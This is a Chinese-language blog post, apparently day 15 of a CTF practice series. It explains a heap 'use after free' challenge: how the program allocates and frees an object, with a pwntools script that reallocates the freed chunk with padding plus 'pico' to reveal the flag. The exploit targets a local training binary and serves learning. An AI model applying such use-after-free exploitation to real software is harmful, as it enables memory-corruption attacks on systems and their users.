iT邦幫忙

2024 iThome 鐵人賽

DAY 15
0
佛心分享-刷題不只是刷題

CTF 刷題系列 第 15

CTF Day 15 Binary (heap 3)

  • 分享至 

  • xImage
  •  

題目 heap3

https://ithelp.ithome.com.tw/upload/images/20240929/20155574Gj7uc6Qken.png

首先,他們有 create struct
https://ithelp.ithome.com.tw/upload/images/20240929/20155574XHqswixgb1.png

然後看到 init() 的地方
一開始的時候會依照你 object 的大小,劃分出一塊空間給你
並在char flag 輸入 bico
https://ithelp.ithome.com.tw/upload/images/20240929/20155574v9K8z3Azfu.png

free_memory() 負責將上面劃分的空間”釋放”掉
https://ithelp.ithome.com.tw/upload/images/20240929/20155574lsnJwlinKH.png

而有一個 alloc_object 可以讓我們先輸入想要劃分的大小
再填入想要的 Data
https://ithelp.ithome.com.tw/upload/images/20240929/20155574alBIai8qc4.png

題目有提示 : use after free

  1. 所以意思是 先 init() 好
  2. 然後將 x free 掉
  3. 再輸入自己想要的 data 到 malloc 裡就會拿到 flag了

Script

from pwn import *

r = process("./chall")

r.sendline(b"5")
r.sendline(b"2")
r.recvuntil(b"Size of object allocation:")
r.sendline(b"35")
r.recvuntil(b"Data for flag:")
r.sendline(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico")
r.recvuntil(b"Enter your choice:")
r.sendline(b"4")

print(r.recvall())

https://ithelp.ithome.com.tw/upload/images/20240929/20155574iB9n7S9Kr0.png


上一篇
CTF Day 14 Binary (heap 2)
下一篇
CTF Day 16 Binary(buffer overflow 0)
系列文
CTF 刷題30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言